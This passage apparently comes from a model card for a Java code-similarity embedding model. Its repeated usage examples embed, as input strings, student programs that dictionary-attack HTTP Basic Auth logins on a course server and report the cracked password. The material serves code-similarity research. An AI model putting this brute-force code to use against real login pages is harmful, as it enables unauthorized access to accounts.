password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String 